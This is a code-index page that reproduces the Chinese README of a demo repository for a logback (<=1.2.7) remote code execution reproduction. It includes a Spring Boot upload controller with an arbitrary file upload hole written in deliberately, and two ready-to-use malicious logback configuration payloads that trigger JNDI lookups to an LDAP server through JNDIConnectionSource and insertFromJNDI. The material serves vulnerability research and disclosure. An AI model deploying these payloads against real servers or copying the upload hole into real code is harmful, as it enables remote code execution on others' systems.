MCPcopy Index your code
hub / github.com/cn-panda/logbackRceDemo

github.com/cn-panda/logbackRceDemo @main

Chat with this repo
repository ↗ · DeepWiki ↗ · + Follow
8 symbols 14 edges 4 files 0 documented · 0%
What it actually does AI analysis from the code graph — generated when you open this
loading…
README

影响版本

logback-classic <=1.2.7

测试环境

SpringBoot 2.6.1

JDK 8u111(请注意 JNDI 可利用的版本)

复现项目地址

https://github.com/cn-panda/logbackRceDemo

项目是用 SpringBoot 写的一个简单的漏洞 Demo 环境,主要是UploadController中的upload函数:

public String upload(@RequestParam("file") MultipartFile file) {  
    if (file.isEmpty()) {  
        return "Upload failed, please select a file!!";  
    }  

    String fileName = file.getOriginalFilename();  
    String filePath = Thread.currentThread().getContextClassLoader().getResource("").getPath();;  
    System.out.println(filePath);  
    File dest = new File(filePath,fileName);  
    try {  
        file.transferTo(dest);  
        LOGGER.info("Upload succeeded!!");  
        return "Upload succeeded!!";  
    } catch (IOException e) {  
        LOGGER.error(e.toString(), e);  
    }  
    return "Upload failed!!";  
}

该函数主要功能是用来上传文件。

项目中 logback 的配置文件如下:

1.png

关键点在于scan属性,该属性是 logback 用于定时扫描配置文件的变化,若检测到配置文件发生改变,则实时更新加载配置文件

在这里,我故意的写了一个存在任意文件上传的漏洞环境,然后借助 loghack 配置文件中的scan属性,配合logback漏洞,实现 RCE

注意:这里的 upload 是我故意编写的存在文件上传漏洞的代码,是为了提出一种可能的场景提出来的,并不是 logback 本身的问题,logback 只是需要这个漏洞才能够触发 RCE,如果在不借助其他漏洞的情况下,logback 本身是安全

漏洞分析

JNDIConnectionSource

在 logback 中同样类似于log4j1.x 中 JDBCAppender 的 Appender —— DBAppender,DBAppender 中有一个名为ConnectionSource的接口

该接口提供了一种可插拔式的方式为需要使用 java.sql.Connection 的 logback 类获取 JDBC 连接

目前有三种实现类,分别为: DriverManagerConnectionSourceDataSourceConnectionSourceJNDIConnectionSource

这三种实现类每一种都可以用来达到 RCE

但和另外两种实现类不同的是,JNDIConnectionSource 实现 RCE 的方式更方便,因为和它可以不借助其他依赖组件的 gadget,仅依靠应用提供的本身机制(JNDI)即可实现 RCE, 但 DriverManagerConnectionSourceDataSourceConnectionSource必须依赖 JDBC 反序列漏洞才能够实现 RCE,限制比较大,故这里不做演示。

JNDIConnectionSource 是 logback 自带的方法,从名字就可以看出来,它通过 JNDI 获取 javax.sql.DataSource,然后再获取 java.sql.Connection 实例

实际上可以通过观察JNDIConnectionSource.javagetConnection方法的代码可以发现:

1.png

如果dataSource 为空,那么就令dataSource = lookupDataSource();

然后在lookupDataSource() 中触发 lookup:

1.png

漏洞复现

首先下载复现源码,然后运行RceDemoApplication项目的main 函数:

1.png

然后打开浏览器,在地址栏中输入:http://localhost:8080 即可访问项目首页

1.png

然后在本地创建一个logback-spring.xml的配置文件,文件内容如下:

<configuration scan="true" scanPeriod="10 seconds" debug="true">  
   <appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">  
          <encoder>  
             <pattern>%-4relative [%thread] %-5level %logger{35} - %msg %n</pattern>  
          </encoder>  
       </appender>  
    <appender name="DB" class="ch.qos.logback.classic.db.DBAppender">  
        <connectionSource class="ch.qos.logback.core.db.JNDIConnectionSource">  
            <jndiLocation>ldap://127.0.0.1:1389/erqtcd</jndiLocation>  
        </connectionSource>  
    </appender>  

       <root level="DEBUG">  
          <appender-ref ref="STDOUT" />  
       </root>  
</configuration>

然后再访问http://localhost:8080/upload.html,选择该文件后点击上传按钮,抓包可以看到文件上传成功:

1.png

等待十秒钟后,即可成功执行 RCE

1.png

insertFromJNDI

除了JNDIConnectionSource外,实际上还有一种配置可以实现 JNDI 注入—— insertFromJNDI

<insertFromJNDI> 是 logback 的配置标签,用于设置属性的范围,其支持通过 JNDI 的方式来获取属性值,同样的,如果修改<insertFromJNDI> 标签的内容,同样可以实现 JNDI 注入

当使用<insertFromJNDI> 标签的时候,意味着会调用InsertFromJNDIAction.java文件中的begin方法,在该方法中会使用JNDIUtil.lookup 方法,从而触发漏洞:

1.png

漏洞复现

和 #JNDIConnectionSource 中复现步骤大致相同,只是上传文件中利用的payload 需要改变,如下:

<configuration scan="true" scanPeriod="10 seconds" debug="true">
   <appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
          <encoder>
             <pattern>%-4relative [%thread] %-5level %logger{35} - %msg %n</pattern>
          </encoder>
       </appender>
    <insertFromJNDI env-entry-name="ldap://127.0.0.1:1389/erqtcd" as="appName" />  

   <root level="DEBUG">
          <appender-ref ref="STDOUT" />
       </root>
</configuration>

上传该配置文件:

1.png

同样的,等待 10 秒后,即可触发 RCE:

1.png

实际上,除了这两个外,JMXConfiguratorAction中的begin同样可以进行恶意利用

1.png

总结

总的来说,这个漏洞的触发方式还是比较困难的,除非能够满足以下条件:

1、能够修改或者覆盖 logback 的配置文件 2、能够使得修改的配置文件生效 2、能够使得修改的配置文件生效

Core symbols most depended-on inside this repo

main
called by 0
src/main/java/com/panda/rcedemo/RceDemoApplication.java
index
called by 0
src/main/java/com/panda/rcedemo/controller/IndexController.java
upload
called by 0
src/main/java/com/panda/rcedemo/controller/UploadController.java

Shape

Class 4
Method 4

Languages

Java100%

Modules by API surface

src/test/java/com/panda/rcedemo/RceDemoApplicationTests.java2 symbols
src/main/java/com/panda/rcedemo/controller/UploadController.java2 symbols
src/main/java/com/panda/rcedemo/controller/IndexController.java2 symbols
src/main/java/com/panda/rcedemo/RceDemoApplication.java2 symbols

For agents

$ claude mcp add logbackRceDemo \
  -- python -m otcore.mcp_server <graph>

⬇ download graph artifact